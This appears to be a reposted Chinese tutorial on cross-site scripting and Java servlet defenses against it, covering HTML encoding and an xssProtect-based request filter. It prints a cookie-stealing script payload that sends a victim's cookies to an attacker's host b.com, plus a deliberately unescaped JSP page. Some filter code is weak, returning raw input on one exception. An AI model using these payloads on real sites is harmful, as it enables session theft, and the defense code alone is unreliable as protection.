XSS攻击处理方案

1. XSS攻击基本概念

  XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。

2. 

DOM Based XSS

       DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。

       场景一

       当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似: 

<%@ page language="Java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>

<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

<html>

    <head>

       <title>XSS测试</title>

    </head>

    <body>

       页面内容:<%=request.getParameter("content")%>

    </body>

</html>

      我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址 为:http://www.a.com?content=<script> window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链 接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我 搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中, 受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script& gt;,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?

Stored XSS

       Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。

       场景二

       a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代 码,<script>window.open(“www.b.com?param=”+document.cookie)< /script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务 器上,攻击成功!这个过程中,受害者是多个人。
       Stored XSS漏洞危害性更大,危害面更广。

XSS防御

       我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。XSS防御有如下方式。

完善的过滤体系

       永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。

Html encode

       假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。

less-than character (<)

&lt;

greater-than character (>)

&gt;

ampersand character (&)

&amp;

double-quote character (")

&quot;

space character( )

&nbsp;

Any ASCII code character whose code is greater-than or equal to 0x80

&#<number>, where <number> is the ASCII character value.

      比如用户输入:<script>window.location.href=”http://www.baidu.com”;< /script>,保存后最终存储的会是:&lt;script&gt;window.location.href=& quot;http://www.baidu.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转 换成文本内容显示,而不是一段可执行的代码。

       下面提供两种Html encode的方法。
  • 使用Apache的commons-lang.jar

    StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码,空格不转换

  • 自己实现转换,只转换部分字符

    private static String htmlEncode(char c) {

        switch(c) {

           case '&':

               return"&amp;";

           case '<':

               return"&lt;";

           case '>':

               return"&gt;";

           case '"':

               return"&quot;";

           case ' ':

               return"&nbsp;";

           default:

               return c +"";

        }

    }

     

    /** 对传入的字符串str进行Html encode转换 */

    public static String htmlEncode(String str) {

        if(str ==null || str.trim().equals(""))   return str;

        StringBuilder encodeStrBuilder = new StringBuilder();

        for (int i = 0, len = str.length(); i < len; i++) {

           encodeStrBuilder.append(htmlEncode(str.charAt(i)));

        }

        return encodeStrBuilder.toString();

    }

转载自:http://blog.csdn.net/ghsau/article/details/17027893

下面提供两种java或jsp中处理方案:

方案一

如果你遇到的情 况,对与用户的输入、输出有明确的限制,而且对于特殊字符也有明确的规定,那么你可以自己写一个 XSSFilter,使用上面提到的情况二,对不建议输入的特殊字符进行过滤和清理,包括 SQL 注入的一些敏感信息,都是要过滤掉的。基本的 Filter 网上都有,你要做的就是针对自己的业务,再加入对危险字符的处理即可。

方案二

想到一句老话,站 在巨人的肩膀上。第二种方案,就是站在巨人的肩膀上。推荐一款开源插件,xssProject,具体作者不详。GoogleCode 中提供相应了的源代码。想研究的可以自己去找一下。下面着重讲一下,如何在项目中集成 xssProject,并使之为我们服务。

首先,项目中需要引入 xssProtect-0.1.jar、antlr-3.0.1.jar、antlr-runtime-3.0.1.jar 等3个 jar 包。

然后,封装 request,代码如下。
<span style="font-family:Comic Sans MS;">public class NewXssHttpServletRequestWrapper extends HttpServletRequestWrapper {

    HttpServletRequest orgRequest = null;
    
    public NewXssHttpServletRequestWrapper(HttpServletRequest request) {
        super(request);
        orgRequest = request;
    }
    

    /**
     * 覆盖getParameter方法,将参数名和参数值都做xss过滤。<br/>
     * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取<br/>
     * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖
     */
    @Override
    public String getParameter(String name)
    {
        System.out.println("NewXssFilter处理前的 Value = " + super.getParameterValues(name));
        
        String value = super.getParameter(xssEncode(name));
        if (value != null)
        {
            value = xssEncode(value);
        }
        
        System.out.println("NewXssFilter处理后的 Value = " + value);
        
        return value;
    }

    /**
     * 覆盖getHeader方法,将参数名和参数值都做xss过滤。<br/>
     * 如果需要获得原始的值,则通过super.getHeaders(name)来获取<br/> getHeaderNames 也可能需要覆盖
     */
    @Override
    public String getHeader(String name)
    {

        String value = super.getHeader(xssEncode(name));
        if (value != null)
        {
            value = xssEncode(value);
        }
        return value;
    }

    /**
     * 将容易引起xss漏洞的半角字符直接替换成全角字符
     * 
     * @param s
     * @return
     */
    private static String xssEncode(String s)
    {
        if (s == null || s.isEmpty())
        {
            return s;
        }
        
        StringReader reader = new StringReader( s );
        StringWriter writer = new StringWriter();
        try {
            HTMLParser.process( reader, writer, new XSSFilter(), true );
            
            return writer.toString();
        } 
        catch (NullPointerException e) {
            return s;
        }
        catch(Exception ex)
        {
            ex.printStackTrace();
        }
        
        return null;
        
    }

    /**
     * 获取最原始的request
     * 
     * @return
     */
    public HttpServletRequest getOrgRequest()
    {
        return orgRequest;
    }

    /**
     * 获取最原始的request的静态方法
     * 
     * @return
     */
    public static HttpServletRequest getOrgRequest(HttpServletRequest req)
    {
        if (req instanceof NewXssHttpServletRequestWrapper)
        {
            return ((NewXssHttpServletRequestWrapper) req).getOrgRequest();
        }

        return req;
    }

}</span>

再然后,创建过滤器 NewXssFilter 。

    <span style="font-family:Comic Sans MS;">public class NewXssFilter implements Filter {  
      
        FilterConfig filterConfig = null;  
      
        @Override  
        public void destroy() {  
            this.filterConfig = null;  
        }  
      
        @Override  
        public void doFilter(ServletRequest request, ServletResponse response,  
                FilterChain chain) throws IOException, ServletException {  
            String path = ((HttpServletRequest) request).getContextPath();  
            String basePath = request.getScheme() + "://" + request.getServerName()  
                    + ":" + request.getServerPort() + path + "/";  
      
            // HTTP 头设置 Referer过滤  
            String referer = ((HttpServletRequest) request).getHeader("Referer"); // REFRESH  
            if (referer != null && referer.indexOf(basePath) < 0) {  
                ((HttpServletRequest) request).getRequestDispatcher(  
                        ((HttpServletRequest) request).getRequestURI()).forward(  
                        ((HttpServletRequest) request), response);  
                System.out.println("referer不为空,referer >>>>>>>>>>>>>> " + referer);  
            }  
            NewXssHttpServletRequestWrapper xssRequest = new NewXssHttpServletRequestWrapper((HttpServletRequest) request);  
            chain.doFilter(xssRequest, response);  
        }  
      
        @Override  
        public void init(FilterConfig filterConfig) throws ServletException {  
            this.filterConfig = filterConfig;  
        }  
      
    }</span>  

最后,在 web.xml 中配置过滤器 。

    <span style="font-family:Comic Sans MS;"><filter>  
        <filter-name>XssSqlFilter</filter-name>  
        <filter-class>com.***.web.common.NewXssFilter</filter-class>  
    </filter>  
    <filter-mapping>  
        <filter-name>XssSqlFilter</filter-name>  
        <url-pattern>/*</url-pattern>  
        <dispatcher>REQUEST</dispatcher>  
    </filter-mapping></span>  

转载自:http://blog.csdn.net/happylee6688/article/details/41314351

补充:http://blog.csdn.net/smstong/article/details/43561607

原文地址:https://www.cnblogs.com/toughlife/p/5469862.html